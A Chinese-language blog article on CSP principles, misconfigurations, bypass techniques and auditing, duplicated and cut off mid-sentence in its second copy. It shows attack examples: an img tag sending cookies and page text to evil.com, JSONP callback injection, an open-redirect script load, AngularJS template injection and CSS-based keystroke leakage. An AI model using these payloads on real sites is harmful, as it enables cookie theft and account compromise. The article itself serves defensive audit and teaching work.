1. 从一次“莫名其妙”的拦截说起最近在排查一个线上问题用户反馈说我们的一个活动页面在某个浏览器上完全加载不出来控制台里赫然躺着一条错误“拒绝执行内联脚本因为它违反了以下内容安全策略指令...”。团队里负责前端的同事第一反应是“我们没动过CSP啊这是哪来的” 一番排查才发现是运维同学在Nginx的全局配置里加了一个默认的CSP头初衷是为了安全结果却误伤了正常业务。这个看似简单的安全策略一旦配置不当轻则功能异常重则整个站点“瘫痪”。CSP全称内容安全策略早已不是新鲜概念但真正理解其原理、能正确配置并知晓其攻防边界的前端和安全工程师在实际工作中并不多见。它像一道隐形的安全门门锁策略设计得好能挡住绝大多数恶意攻击设计得不好要么把自己锁在门外要么给攻击者留了后门。简单来说CSP是一种由浏览器实现的安全标准允许网站管理员通过HTTP响应头Content-Security-Policy来声明当前页面允许加载哪些来源的资源如脚本、样式、图片、字体等以及是否允许执行内联脚本或样式。它的核心目标就两个缓解跨站脚本攻击和减少数据注入攻击的风险。XSS攻击者往往需要向页面中注入并执行恶意脚本CSP通过严格限制脚本的来源使得即使攻击者成功注入了脚本代码浏览器也会因为该脚本不符合策略而拒绝执行从而从执行层面掐断了攻击链。然而安全策略的复杂性往往伴随着被绕过的可能性。一个配置不当的CSP其防护效果可能大打折扣。理解CSP的绕过技术并非为了攻击恰恰相反是为了从攻击者的视角审视我们自己的策略发现其中的逻辑缺陷或配置疏漏从而制定出更严谨、更健壮的防御方案。本文将深入拆解CSP的核心原理、常见指令并剖析那些在真实攻防演练和漏洞报告中反复出现的绕过手法帮助你在设计和审计CSP时能真正做到心中有数配置有方。2. CSP核心指令与策略模型深度解析要理解如何绕过必须先彻底明白CSP是如何工作的。一个CSP策略由一系列指令构成每个指令控制一类资源的加载行为。策略通过HTTP响应头Content-Security-Policy下发浏览器接收到后会为当前页面创建一个“白名单”模型所有资源的加载和执行都必须符合这个白名单规则。2.1 关键指令及其语义CSP指令繁多但掌握以下几个核心指令就掌握了八成以上的策略配置default-src这是兜底指令。如果其他更具体的指令如script-src、style-src没有设置浏览器就会回退使用default-src指定的策略。最佳实践是永远明确设置具体的指令避免依赖default-src因为它可能带来意想不到的权限放宽。script-src这是防御XSS最关键的指令。它定义了哪些来源的JavaScript可以被执行。其值可以包括域名如https://cdn.example.com允许加载该域名下的脚本。self一个关键字指代与当前页面同源协议、域名、端口均相同的资源。none关键字表示禁止任何此类资源。unsafe-inline关键字允许执行页面内的内联脚本如scriptalert(1)/script或onclick...事件处理器。启用它几乎等同于放弃了CSP对XSS的主要防护应极力避免。unsafe-eval关键字允许使用eval()、Function()、setTimeout(string)等可以执行字符串代码的方法。哈希值如sha256-abc123...。允许匹配特定哈希值的内联脚本块。这是替代unsafe-inline的安全方案。随机数如nonce-rAnd0m123。允许带有匹配nonce属性的内联脚本标签。这是目前最推荐的处理内联脚本的方式。style-src控制CSS样式的来源语法同script-src。同样需要警惕unsafe-inline。img-src控制图片资源的来源。这个指令的绕过常被用于数据外带我们后面会详细讲。connect-src限制可以通过脚本接口发起的连接如fetch()、XMLHttpRequest、WebSocket等。这能有效防止敏感数据被发送到攻击者控制的服务器。frame-src/child-src控制内嵌框架如iframe的来源。注意在CSP Level 3中frame-src被重新启用而child-src可用于控制iframe、worker等。report-uri/report-to指定一个端点用于接收浏览器发送的策略违规报告。这是调试和监控CSP是否生效、是否被攻击的重要工具。2.2 策略的解析与执行模型浏览器在解析和执行CSP时遵循一套明确的流程策略获取与合并浏览器从HTTP响应头中获取Content-Security-Policy如果存在多个策略头它们会同时生效规则取最严格的交集。例如一个头说script-src self另一个说script-src https://cdn.example.com那么最终只允许同源脚本。资源加载拦截当页面尝试加载一个资源发起网络请求或执行一段代码如内联脚本时浏览器会检查该操作是否违反了任何CSP指令。匹配过程对于网络请求检查请求的URL是否匹配相应指令中声明的源。对于内联脚本/样式检查是否使用了unsafe-inline、或是否有匹配的nonce/hash。执行决策如果匹配成功则允许加载/执行如果失败则阻断并在控制台打印错误同时如果配置了report-uri会发送一份JSON格式的违规报告到服务器。报告机制违规报告包含了违规的指令、被拦截的资源URL、触发违规的文档URI、以及用户代理等信息是安全团队进行威胁感知的宝贵数据源。注意CSP是一种白名单机制。这意味着“默认拒绝明确允许”。任何不在白名单上的操作都会被禁止。这种设计理念决定了其安全性但也对配置的完整性提出了高要求。3. 不当配置那些亲手打开的“安全后门”很多CSP绕过案例根源并非CSP标准本身有漏洞而是策略配置存在缺陷。这些缺陷往往源于对指令理解不透彻、对业务场景考虑不周或者简单地复制了网上的“通用”配置。3.1 过度宽松的源表达式使用通配符*或者过于宽泛的源是常见的错误。script-src *这等于没有设置script-src因为允许从任何地方加载脚本。攻击者可以在自己的域名上托管恶意脚本然后通过XSS诱导用户访问脚本会被顺利加载执行。script-src https:只指定了协议没有指定域名。这意味着任何支持HTTPS的域名都可以作为脚本源风险极高。script-src self *.example.com虽然看起来限制了域名但*.example.com这个范围仍然很大。如果攻击者能够控制example.com下的任何一个子域名例如通过子域名劫持、或者某些用户内容托管在子域名下他就能在该子域名上托管恶意脚本从而绕过策略。实操心得在配置源时务必使用完整的、具体的URL包含协议和域名并尽可能缩小范围。使用‘self’时要确保当前源本身是绝对可信的没有用户可控内容的上传点。3.2 危险关键字的使用‘unsafe-inline’和‘unsafe-eval’这两个关键字从其命名就能看出其危险性。‘unsafe-inline’这是XSS攻击者的“福音”。一旦启用任何注入到页面中的script标签或HTML事件处理器如onloadonerror都能执行。这使得CSP防御XSS的核心价值荡然无存。很多旧系统因为历史遗留大量内联脚本而不得不启用它但这应该是迁移计划中的首要解决项。‘unsafe-eval’现代前端框架如Vue、Angular的旧版本或某些库可能会用到eval。启用它增加了攻击面攻击者可能通过DOM型XSS结合eval执行动态代码。应优先寻求不使用eval的替代方案或严格限制其使用场景。替代方案对于必须的内联脚本或样式使用随机数或哈希。随机数服务器为每个响应生成一个一次性的随机数放入CSP头script-src ‘nonce-rAnd0m123‘同时为需要执行的内联script标签添加相同的nonce属性script nonce“rAnd0m123“...。这样只有服务器认可的脚本才能执行。哈希计算内联脚本内容的SHA哈希值并将该值如‘sha256-abc123...‘加入CSP策略。这种方式适合静态的、不变的内联代码。3.3 缺失或错误的指令只设置了script-src却忘了style-src攻击者可能会利用CSS注入配合其他手法进行攻击。更常见的是忽略了object-src、base-uri等指令。object-src控制objectembedapplet等标签的源。如果未设置或设置为‘none‘以外的值攻击者可能通过注入object标签来加载恶意Flash或PDF从而执行代码。安全实践是显式设置object-src ‘none‘。base-uri限制base标签中href属性的值。如果未限制攻击者通过注入base标签可以劫持页面内所有相对URL的解析将请求导向恶意站点。frame-ancestors这不是限制页面加载什么而是限制谁可以嵌入这个页面点击劫持防御。如果配置不当可能导致页面被恶意网站嵌入。配置检查清单一个相对安全的CSP策略头应该至少包含以下指令并根据业务调整Content-Security-Policy: default-src ‘none‘; script-src ‘self‘ https://trusted.cdn.com; style-src ‘self‘; img-src ‘self‘ data: https://img.example.com; font-src ‘self‘; connect-src ‘self‘ https://api.example.com; frame-src ‘none‘; object-src ‘none‘; base-uri ‘self‘; report-uri /csp-report-endpoint;4. 逻辑缺陷与协议处理绕过白名单的奇技淫巧即使配置看起来严谨由于浏览器对某些协议和URL的处理方式存在特性或者策略逻辑存在固有缺陷攻击者仍可能找到绕过路径。4.1 基于JSONP端点与回调函数的绕过这是历史悠久的经典绕过手法针对的是允许特定可信域名如‘self‘或某个API域名的script-src策略。原理许多网站特别是旧式API提供JSONP接口来支持跨域请求。JSONP通过动态创建script标签其src指向一个API端点并在URL参数中指定一个回调函数名服务器返回callback(data)格式的JavaScript代码。攻击如果CSP策略允许‘self‘而当前站点恰好存在一个JSONP端点攻击者就可以利用XSS注入一个script标签其src指向这个JSONP端点并在回调函数参数中注入恶意代码。由于脚本来源是同源的符合CSP策略浏览器会执行服务器返回的“数据”而这段数据恰好是攻击者控制的恶意函数调用。案例假设网站https://victim.com的CSP为script-src ‘self‘并且存在一个JSONP接口https://victim.com/api/jsonp?callbackmyFunc。攻击者可以注入script src“/api/jsonp?callbackalert(document.domain)//“/script。服务器返回alert(document.domain)//(…)其中的alert(document.domain)就被执行了。防御审计并清理或禁用不必要的JSONP接口对必要的JSONP回调函数名进行严格过滤只允许字母数字或者更根本地将API迁移到CORS方案。4.2 利用script-src指令中的‘strict-dynamic‘‘strict-dynamic‘是CSP Level 3引入的一个关键字旨在更好地适应现代前端开发。它表示信任由已符合策略的脚本通过nonce或hash动态创建并插入的脚本标签而忽略script-src中其他的源列表如‘self‘。设计初衷方便脚本加载器如webpack的动态导入工作。绕过风险如果攻击者能够找到一个注入点向一个受信任的、带有正确nonce的脚本中注入代码或者能够控制该脚本动态创建的script标签的src属性那么他就可以加载并执行任意脚本。因为‘strict-dynamic‘信任由可信脚本创建的子脚本。配置建议使用‘strict-dynamic‘时必须配合nonce或hash使用并且要确保所有拥有nonce的脚本都是绝对不可被篡改的。同时最好加上‘unsafe-inline‘的后备方案如script-src ‘nonce-xxx‘ ‘strict-dynamic‘ ‘unsafe-inline‘ https:‘以兼容不支持Level 3的旧浏览器但需知晓这降低了旧浏览器下的安全性。4.3 预加载、重定向与协议处理差异预加载链接link rel“preload“或link rel“prefetch“通常不受script-src控制而受default-src或其他相关指令控制。如果策略不统一可能造成绕过。重定向如果CSP允许的某个源如https://cdn.example.com存在开放重定向漏洞攻击者可能构造一个URL使其最终重定向到恶意站点如https://cdn.example.com/redirect?urlhttps://evil.com/evil.js。某些浏览器在检查CSP时可能只检查初始URL而不跟踪重定向后的最终URL从而导致恶意脚本被加载。协议相对URL与协议降级在源列表中指定http://example.com但如果页面是通过HTTPS加载的浏览器可能会阻止加载HTTP资源混合内容阻止。反之如果策略是https://example.com但攻击者能通过某种方式如网络中间人、或利用页面其他非安全上下文发起HTTP请求到该域名则可能绕过。最佳实践是始终在源中明确指定协议https://。5. 非脚本攻击当CSP防不住的数据外带与UI欺骗CSP主要防脚本执行但攻击者的目标未必总是执行代码。窃取数据、进行UI欺骗也是重要攻击向量。5.1 利用img-src进行数据外带即使script-src配置得固若金汤如果img-src配置为*或包含不可信的源攻击者依然可以窃取数据。原理通过XSS注入一个img标签将其src属性设置为攻击者控制的服务器地址并将敏感信息如Cookie、CSRF Token、页面内容作为URL参数附加上去。img src“https://evil.com/steal?data“ encodeURIComponent(document.cookie) “page“ encodeURIComponent(document.body.innerText) onerror“this.src‘https://evil.com/steal?error‘encodeURIComponent(‘failed‘)“过程浏览器会尝试加载这个图片从而向evil.com发起一个GET请求敏感数据就通过Referer头或URL参数泄露了。虽然onerror事件内联事件处理器在严格的CSP下可能不会执行但图片的加载请求本身是无法被CSP的script-src或style-src阻止的它只受img-src控制。防御严格限制img-src只允许可信的图床或CDN域名。对于用户生成内容中的图片应使用专门的、与其他主站隔离的域名。考虑使用connect-src限制此类出站连接但注意img的加载通常不受connect-src限制。5.2 利用CSS注入与样式窃取如果style-src配置存在‘unsafe-inline‘或过于宽松攻击者可以注入CSS样式。键盘记录通过CSS属性选择器可以探测输入框的内容。例如为input[value^“a“]设置一个背景图指向攻击者服务器。当用户输入以‘a‘开头的内容时浏览器就会去加载对应图片从而泄露输入的第一个字符。通过穷举所有字符组合理论上可以窃取密码。界面欺骗注入CSS可以完全改变页面的外观伪造登录框、覆盖真实按钮等进行钓鱼攻击。防御对style-src采用和script-src同样严格的白名单策略使用nonce或hash来允许必要的内联样式避免使用‘unsafe-inline‘。5.3 点击劫持与frame-ancestorsframe-ancestors指令用于防止点击劫持。如果未设置或设置为*攻击者可以将你的网站嵌入到一个恶意网站的透明iframe中诱使用户在不知情的情况下点击你的网站上的按钮例如“确认转账”。正确配置通常应设置为‘self‘只允许同源页面嵌入。或者根据业务需要明确列出允许嵌入的父级源如frame-ancestors https://parent.example.com。注意frame-ancestors在CSP Level 2中引入旧浏览器不支持。对于重要操作服务器端还应使用X-Frame-Options头作为补充如DENY或SAMEORIGIN。6. 实战排查如何像攻击者一样审计你的CSP了解了绕过手法我们可以系统地审计自己的CSP策略。以下是一个自检流程收集策略使用浏览器开发者工具的“网络”选项卡查看你网站关键页面的HTTP响应头找到Content-Security-Policy。也可以使用命令行工具如curl -I。解析与可视化将策略复制到在线CSP分析工具如 CSP Evaluator 中。这个由Google提供的工具能自动识别许多不安全配置如缺失指令、使用通配符、存在JSONP风险等。检查每个指令script-src/style-src是否存在‘unsafe-inline‘/‘unsafe-eval‘源列表是否过于宽泛是否包含了用户可控的子域名object-src是否设置为‘none‘base-uri是否设置为‘self‘或更严格的限制frame-ancestors是否根据业务需要正确设置img-src/font-src/media-src等是否只包含了必需的、可信的源业务上下文分析动态内容网站是否有用户评论、富文本编辑、文件上传等功能这些功能是否可能引入不受信任的内容CSP是否为此做了适当限制如使用nonce第三方依赖使用的第三方JS库、统计代码、客服插件等它们的源是否都加入了白名单它们是否依赖eval或动态脚本创建API与端点同源下是否存在JSONP接口、允许用户上传文件的端点、重定向端点这些是否可能被滥用模拟攻击测试尝试在允许的源下托管一个简单脚本看是否能成功加载和执行。检查是否有任何通过img标签外带数据的可能性。如果使用了nonce检查nonce值是否足够随机且每次响应都不同防止预测。使用浏览器的“报告仅”模式在策略头中加上Content-Security-Policy-Report-Only并配置report-uri。这样策略不会真正阻断但所有违规尝试都会发送报告。在开发或测试环境部署观察一段时间内的报告可以发现很多潜在的策略过于严格或过于宽松的问题。一个常见的误区是“一次配置终身有效”。业务在迭代第三方库在更新新的前端框架特性被引入。CSP策略也需要定期复审和更新。每次引入新的第三方服务或重大前端重构时都应重新评估CSP策略的适用性。7. 高级绕过与组合攻击案例剖析在实际的高阶攻防中攻击者往往会将CSP的弱点与其他漏洞结合形成组合拳。7.1 结合AngularJS Client-Side Template Injection在允许‘unsafe-eval‘或使用了特定版本AngularJS其模板引擎本身会执行表达式的环境中即使script-src限制很严攻击者也可能利用CSTI执行任意JavaScript。场景CSP为script-src ‘self‘ ‘unsafe-eval‘ 页面中使用了AngularJS 1.x并且存在用户输入插入到Angular模板中的漏洞。攻击攻击者可以注入AngularJS表达式如{{constructor.constructor(‘alert(1)‘)()}}。由于‘unsafe-eval‘允许AngularJS的$parse服务会执行该表达式最终调用JavaScript的Function构造函数执行任意代码。防御升级AngularJS至已修复该问题的版本避免使用‘unsafe-eval‘对用户输入进行严格的过滤和转义特别是在渲染到Angular模板上下文中时。7.2 利用浏览器Bug或特性差异历史上不同浏览器或特定版本对CSP标准的实现存在差异或Bug可能导致绕过。案例某些旧版本浏览器在处理meta标签重定向到不同源后可能会错误地继承或重置原始页面的CSP策略导致新页面策略失效。案例对于script-src中使用的data:协议不同浏览器支持度不同可能被滥用。防御关注浏览器安全更新在CSP策略中避免使用那些支持度不一致或已知有问题的特性如谨慎使用data:URI使用CSP的report-uri收集异常报告监控是否有利用未知浏览器特性发起的攻击。7.3 通过服务端动态策略生成漏洞如果CSP策略是根据用户输入或其他不可信数据动态生成的那么攻击者可能直接污染策略本身。场景服务器端代码将某个用户可控的参数如callback函数名未经充分过滤就直接拼接到了CSP头的script-src里。攻击用户传入callbackevil.com/ 导致生成的CSP头包含script-src ‘self‘ evil.com/ 从而允许从evil.com加载脚本。防御永远不要将用户输入直接放入CSP头。CSP策略应该在服务器端静态配置或基于可信的、硬编码的模板生成。CSP是一道强大的纵深防御防线但它并非银弹。它的有效性完全依赖于策略配置的严谨性。一个松散的CSP可能只是心理安慰而一个过于严格的CSP又可能阻碍正常业务。理解和掌握其绕过技术正是为了在这两者之间找到那个坚固而合身的平衡点。在实际工作中我倾向于采用“报告优先逐步收紧”的策略先使用Content-Security-Policy-Report-Only模式广泛收集数据修复所有业务兼容性问题同时剔除不安全的配置项最后再切换到强制执行模式。并且将CSP头的生成和审查纳入CI/CD流程和安全扫描中确保每一次代码变更都不会意外削弱这层重要的防护。 CSP内容安全策略深度解析：原理、配置陷阱与高级绕过攻防实战
1. 从一次“莫名其妙”的拦截说起最近在排查一个线上问题用户反馈说我们的一个活动页面在某个浏览器上完全加载不出来控制台里赫然躺着一条错误“拒绝执行内联脚本因为它违反了以下内容安全策略指令...”。团队里负责前端的同事第一反应是“我们没动过CSP啊这是哪来的” 一番排查才发现是运维同学在Nginx的全局配置里加了一个默认的CSP头初衷是为了安全结果却误伤了正常业务。这个看似简单的安全策略一旦配置不当轻则功能异常重则整个站点“瘫痪”。CSP全称内容安全策略早已不是新鲜概念但真正理解其原理、能正确配置并知晓其攻防边界的前端和安全工程师在实际工作中并不多见。它像一道隐形的安全门门锁策略设计得好能挡住绝大多数恶意攻击设计得不好要么把自己锁在门外要么给攻击者留了后门。简单来说CSP是一种由浏览器实现的安全标准允许网站管理员通过HTTP响应头Content-Security-Policy来声明当前页面允许加载哪些来源的资源如脚本、样式、图片、字体等以及是否允许执行内联脚本或样式。它的核心目标就两个缓解跨站脚本攻击和减少数据注入攻击的风险。XSS攻击者往往需要向页面中注入并执行恶意脚本CSP通过严格限制脚本的来源使得即使攻击者成功注入了脚本代码浏览器也会因为该脚本不符合策略而拒绝执行从而从执行层面掐断了攻击链。然而安全策略的复杂性往往伴随着被绕过的可能性。一个配置不当的CSP其防护效果可能大打折扣。理解CSP的绕过技术并非为了攻击恰恰相反是为了从攻击者的视角审视我们自己的策略发现其中的逻辑缺陷或配置疏漏从而制定出更严谨、更健壮的防御方案。本文将深入拆解CSP的核心原理、常见指令并剖析那些在真实攻防演练和漏洞报告中反复出现的绕过手法帮助你在设计和审计CSP时能真正做到心中有数配置有方。2. CSP核心指令与策略模型深度解析要理解如何绕过必须先彻底明白CSP是如何工作的。一个CSP策略由一系列指令构成每个指令控制一类资源的加载行为。策略通过HTTP响应头Content-Security-Policy下发浏览器接收到后会为当前页面创建一个“白名单”模型所有资源的加载和执行都必须符合这个白名单规则。2.1 关键指令及其语义CSP指令繁多但掌握以下几个核心指令就掌握了八成以上的策略配置default-src这是兜底指令。如果其他更具体的指令如script-src、style-src没有设置浏览器就会回退使用default-src指定的策略。最佳实践是永远明确设置具体的指令避免依赖default-src因为它可能带来意想不到的权限放宽。script-src这是防御XSS最关键的指令。它定义了哪些来源的JavaScript可以被执行。其值可以包括域名如https://cdn.example.com允许加载该域名下的脚本。self一个关键字指代与当前页面同源协议、域名、端口均相同的资源。none关键字表示禁止任何此类资源。unsafe-inline关键字允许执行页面内的内联脚本如scriptalert(1)/script或onclick...事件处理器。启用它几乎等同于放弃了CSP对XSS的主要防护应极力避免。unsafe-eval关键字允许使用eval()、Function()、setTimeout(string)等可以执行字符串代码的方法。哈希值如sha256-abc123...。允许匹配特定哈希值的内联脚本块。这是替代unsafe-inline的安全方案。随机数如nonce-rAnd0m123。允许带有匹配nonce属性的内联脚本标签。这是目前最推荐的处理内联脚本的方式。style-src控制CSS样式的来源语法同script-src。同样需要警惕unsafe-inline。img-src控制图片资源的来源。这个指令的绕过常被用于数据外带我们后面会详细讲。connect-src限制可以通过脚本接口发起的连接如fetch()、XMLHttpRequest、WebSocket等。这能有效防止敏感数据被发送到攻击者控制的服务器。frame-src/child-src控制内嵌框架如iframe的来源。注意在CSP Level 3中frame-src被重新启用而child-src可用于控制iframe、worker等。report-uri/report-to指定一个端点用于接收浏览器发送的策略违规报告。这是调试和监控CSP是否生效、是否被攻击的重要工具。2.2 策略的解析与执行模型浏览器在解析和执行CSP时遵循一套明确的流程策略获取与合并浏览器从HTTP响应头中获取Content-Security-Policy如果存在多个策略头它们会同时生效规则取最严格的交集。例如一个头说script-src self另一个说script-src https://cdn.example.com那么最终只允许同源脚本。资源加载拦截当页面尝试加载一个资源发起网络请求或执行一段代码如内联脚本时浏览器会检查该操作是否违反了任何CSP指令。匹配过程对于网络请求检查请求的URL是否匹配相应指令中声明的源。对于内联脚本/样式检查是否使用了unsafe-inline、或是否有匹配的nonce/hash。执行决策如果匹配成功则允许加载/执行如果失败则阻断并在控制台打印错误同时如果配置了report-uri会发送一份JSON格式的违规报告到服务器。报告机制违规报告包含了违规的指令、被拦截的资源URL、触发违规的文档URI、以及用户代理等信息是安全团队进行威胁感知的宝贵数据源。注意CSP是一种白名单机制。这意味着“默认拒绝明确允许”。任何不在白名单上的操作都会被禁止。这种设计理念决定了其安全性但也对配置的完整性提出了高要求。3. 不当配置那些亲手打开的“安全后门”很多CSP绕过案例根源并非CSP标准本身有漏洞而是策略配置存在缺陷。这些缺陷往往源于对指令理解不透彻、对业务场景考虑不周或者简单地复制了网上的“通用”配置。3.1 过度宽松的源表达式使用通配符*或者过于宽泛的源是常见的错误。script-src *这等于没有设置script-src因为允许从任何地方加载脚本。攻击者可以在自己的域名上托管恶意脚本然后通过XSS诱导用户访问脚本会被顺利加载执行。script-src https:只指定了协议没有指定域名。这意味着任何支持HTTPS的域名都可以作为脚本源风险极高。script-src self *.example.com虽然看起来限制了域名但*.example.com这个范围仍然很大。如果攻击者能够控制example.com下的任何一个子域名例如通过子域名劫持、或者某些用户内容托管在子域名下他就能在该子域名上托管恶意脚本从而绕过策略。实操心得在配置源时务必使用完整的、具体的URL包含协议和域名并尽可能缩小范围。使用‘self’时要确保当前源本身是绝对可信的没有用户可控内容的上传点。3.2 危险关键字的使用‘unsafe-inline’和‘unsafe-eval’这两个关键字从其命名就能看出其危险性。‘unsafe-inline’这是XSS攻击者的“福音”。一旦启用任何注入到页面中的script标签或HTML事件处理器如onloadonerror都能执行。这使得CSP防御XSS的核心价值荡然无存。很多旧系统因为历史遗留大量内联脚本而不得不启用它但这应该是迁移计划中的首要解决项。‘unsafe-eval’现代前端框架如Vue、Angular的旧版本或某些库可能会用到eval。启用它增加了攻击面攻击者可能通过DOM型XSS结合eval执行动态代码。应优先寻求不使用eval的替代方案或严格限制其使用场景。替代方案对于必须的内联脚本或样式使用随机数或哈希。随机数服务器为每个响应生成一个一次性的随机数放入CSP头script-src ‘nonce-rAnd0m123‘同时为需要执行的内联script标签添加相同的nonce属性script nonce“rAnd0m123“...。这样只有服务器认可的脚本才能执行。哈希计算内联脚本内容的SHA哈希值并将该值如‘sha256-abc123...‘加入CSP策略。这种方式适合静态的、不变的内联代码。3.3 缺失或错误的指令只设置了script-src却忘了style-src攻击者可能会利用CSS注入配合其他手法进行攻击。更常见的是忽略了object-src、base-uri等指令。object-src控制objectembedapplet等标签的源。如果未设置或设置为‘none‘以外的值攻击者可能通过注入object标签来加载恶意Flash或PDF从而执行代码。安全实践是显式设置object-src ‘none‘。base-uri限制base标签中href属性的值。如果未限制攻击者通过注入base标签可以劫持页面内所有相对URL的解析将请求导向恶意站点。frame-ancestors这不是限制页面加载什么而是限制谁可以嵌入这个页面点击劫持防御。如果配置不当可能导致页面被恶意网站嵌入。配置检查清单一个相对安全的CSP策略头应该至少包含以下指令并根据业务调整Content-Security-Policy: default-src ‘none‘; script-src ‘self‘ https://trusted.cdn.com; style-src ‘self‘; img-src ‘self‘ data: https://img.example.com; font-src ‘self‘; connect-src ‘self‘ https://api.example.com; frame-src ‘none‘; object-src ‘none‘; base-uri ‘self‘; report-uri /csp-report-endpoint;4. 逻辑缺陷与协议处理绕过白名单的奇技淫巧即使配置看起来严谨由于浏览器对某些协议和URL的处理方式存在特性或者策略逻辑存在固有缺陷攻击者仍可能找到绕过路径。4.1 基于JSONP端点与回调函数的绕过这是历史悠久的经典绕过手法针对的是允许特定可信域名如‘self‘或某个API域名的script-src策略。原理许多网站特别是旧式API提供JSONP接口来支持跨域请求。JSONP通过动态创建script标签其src指向一个API端点并在URL参数中指定一个回调函数名服务器返回callback(data)格式的JavaScript代码。攻击如果CSP策略允许‘self‘而当前站点恰好存在一个JSONP端点攻击者就可以利用XSS注入一个script标签其src指向这个JSONP端点并在回调函数参数中注入恶意代码。由于脚本来源是同源的符合CSP策略浏览器会执行服务器返回的“数据”而这段数据恰好是攻击者控制的恶意函数调用。案例假设网站https://victim.com的CSP为script-src ‘self‘并且存在一个JSONP接口https://victim.com/api/jsonp?callbackmyFunc。攻击者可以注入script src“/api/jsonp?callbackalert(document.domain)//“/script。服务器返回alert(document.domain)//(…)其中的alert(document.domain)就被执行了。防御审计并清理或禁用不必要的JSONP接口对必要的JSONP回调函数名进行严格过滤只允许字母数字或者更根本地将API迁移到CORS方案。4.2 利用script-src指令中的‘strict-dynamic‘‘strict-dynamic‘是CSP Level 3引入的一个关键字旨在更好地适应现代前端开发。它表示信任由已符合策略的脚本通过nonce或hash动态创建并插入的脚本标签而忽略script-src中其他的源列表如‘self‘。设计初衷方便脚本加载器如webpack的动态导入工作。绕过风险如果攻击者能够找到一个注入点向一个受信任的、带有正确nonce的脚本中注入代码或者能够控制该脚本动态创建的script标签的src属性那么他就可以加载并执行任意脚本。因为‘strict-dynamic‘信任由可信脚本创建的子脚本。配置建议使用‘strict-dynamic‘时必须配合nonce或hash使用并且要确保所有拥有nonce的脚本都是绝对不可被篡改的。同时最好加上‘unsafe-inline‘的后备方案如script-src ‘nonce-xxx‘ ‘strict-dynamic‘ ‘unsafe-inline‘ https:‘以兼容不支持Level 3的旧浏览器但需知晓这降低了旧浏览器下的安全性。4.3 预加载、重定向与协议处理差异预加载链接link rel“preload“或link rel“prefetch“通常不受script-src控制而受default-src或其他相关指令控制。如果策略不统一可能造成绕过。重定向如果CSP允许的某个源如https://cdn.example.com存在开放重定向漏洞攻击者可能构造一个URL使其最终重定向到恶意站点如https://cdn.example.com/redirect?urlhttps://evil.com/evil.js。某些浏览器在检查CSP时可能只检查初始URL而不跟踪重定向后的最终URL从而导致恶意脚本被加载。协议相对URL与协议降级在源列表中指定http://example.com但如果页面是通过HTTPS加载的浏览器可能会阻止加载HTTP资源混合内容阻止。反之如果策略是https://example.com但攻击者能通过某种方式如网络中间人、或利用页面其他非安全上下文发起HTTP请求到该域名则可能绕过。最佳实践是始终在源中明确指定协议https://。5. 非脚本攻击当CSP防不住的数据外带与UI欺骗CSP主要防脚本执行但攻击者的目标未必总是执行代码。窃取数据、进行UI欺骗也是重要攻击向量。5.1 利用img-src进行数据外带即使script-src配置得固若金汤如果img-src配置为*或包含不可信的源攻击者依然可以窃取数据。原理通过XSS注入一个img标签将其src属性设置为攻击者控制的服务器地址并将敏感信息如Cookie、CSRF Token、页面内容作为URL参数附加上去。img src“https://evil.com/steal?data“ encodeURIComponent(document.cookie) “page“ encodeURIComponent(document.body.innerText) onerror“this.src‘https://evil.com/steal?error‘encodeURIComponent(‘failed‘)“过程浏览器会尝试加载这个图片从而向evil.com发起一个GET请求敏感数据就通过Referer头或URL参数泄露了。虽然onerror事件内联事件处理器在严格的CSP下可能不会执行但图片的加载请求本身是无法被CSP的script-src或style-src阻止的它只受img-src控制。防御严格限制img-src只允许可信的图床或CDN域名。对于用户生成内容中的图片应使用专门的、与其他主站隔离的域名。考虑使用connect-src限制此类出站连接但注意img的加载通常不受connect-src限制。5.2 利用CSS注入与样式窃取如果style-src配置存在‘unsafe-inline‘或过于宽松攻击者可以注入CSS样式。键盘记录通过CSS属性选择器可以探测输入框的内容。例如为input[value^“a“]设置一个背景图指向攻击者服务器。当用户输入以‘a‘开头的内容时浏览器就会去加载对应图片从而泄露输入的第一个字符。通过穷举所有字符组合理论上可以窃取密码。界面欺骗注入CSS可以完全改变页面的外观伪造登录框、覆盖真实按钮等进行钓鱼攻击。防御对style-src采用和script-src同样严格的白名单策略使用nonce或hash来允许必要的内联样式避免使用‘unsafe-inline‘。5.3 点击劫持与frame-ancestorsframe-ancestors指令用于防止点击劫持。如果未设置或设置为*攻击者可以将你的网站嵌入到一个恶意网站的透明iframe中诱使用户在不知情的情况下点击你的网站上的按钮例如“确认转账”。正确配置通常应设置为‘self‘只允许同源页面嵌入。或者根据业务需要明确列出允许嵌入的父级源如frame-ancestors https://parent.example.com。注意frame-ancestors在CSP Level 2中引入旧浏览器不支持。对于重要操作服务器端还应使用X-Frame-Options头作为补充如DENY或SAMEORIGIN。6. 实战排查如何像攻击者一样审计你的CSP了解了绕过手法我们可以系统地审计自己的CSP策略。以下是一个自检流程收集策略使用浏览器开发者工具的“网络”选项卡查看你网站关键页面的HTTP响应头找到Content-Security-Policy。也可以使用命令行工具如curl -I。解析与可视化将策略复制到在线CSP分析工具如 CSP Evaluator 中。这个由Google提供的工具能自动识别许多不安全配置如缺失指令、使用通配符、存在JSONP风险等。检查每个指令script-src/style-src是否存在‘unsafe-inline‘/‘unsafe-eval‘源列表是否过于宽泛是否包含了用户可控的子域名object-src是否设置为‘none‘base-uri是否设置为‘self‘或更严格的限制frame-ancestors是否根据业务需要正确设置img-src/font-src/media-src等是否只包含了必需的、可信的源业务上下文分析动态内容网站是否有用户评论、富文本编辑、文件上传等功能这些功能是否可能引入不受信任的内容CSP是否为此做了适当限制如使用nonce第三方依赖使用的第三方JS库、统计代码、客服插件等它们的源是否都加入了白名单它们是否依赖eval或动态脚本创建API与端点同源下是否存在JSONP接口、允许用户上传文件的端点、重定向端点这些是否可能被滥用模拟攻击测试尝试在允许的源下托管一个简单脚本看是否能成功加载和执行。检查是否有任何通过img标签外带数据的可能性。如果使用了nonce检查nonce值是否足够随机且每次响应都不同防止预测。使用浏览器的“报告仅”模式在策略头中加上Content-Security-Policy-Report-Only并配置report-uri。这样策略不会真正阻断但所有违规尝试都会发送报告。在开发或测试环境部署观察一段时间内的报告可以发现很多潜在的策略过于严格或过于宽松的问题。一个常见的误区是“一次配置终身有效”。业务在迭代第三方库在更新新的前端框架特性被引入。CSP策略也需要定期复审和更新。每次引入新的第三方服务或重大前端重构时都应重新评估CSP策略的适用性。7. 高级绕过与组合攻击案例剖析在实际的高阶攻防中攻击者往往会将CSP的弱点与其他漏洞结合形成组合拳。7.1 结合AngularJS Client-Side Template Injection在允许‘unsafe-eval‘或使用了特定版本AngularJS其模板引擎本身会执行表达式的环境中即使script-src限制很严攻击者也可能利用CSTI执行任意JavaScript。场景CSP为script-src 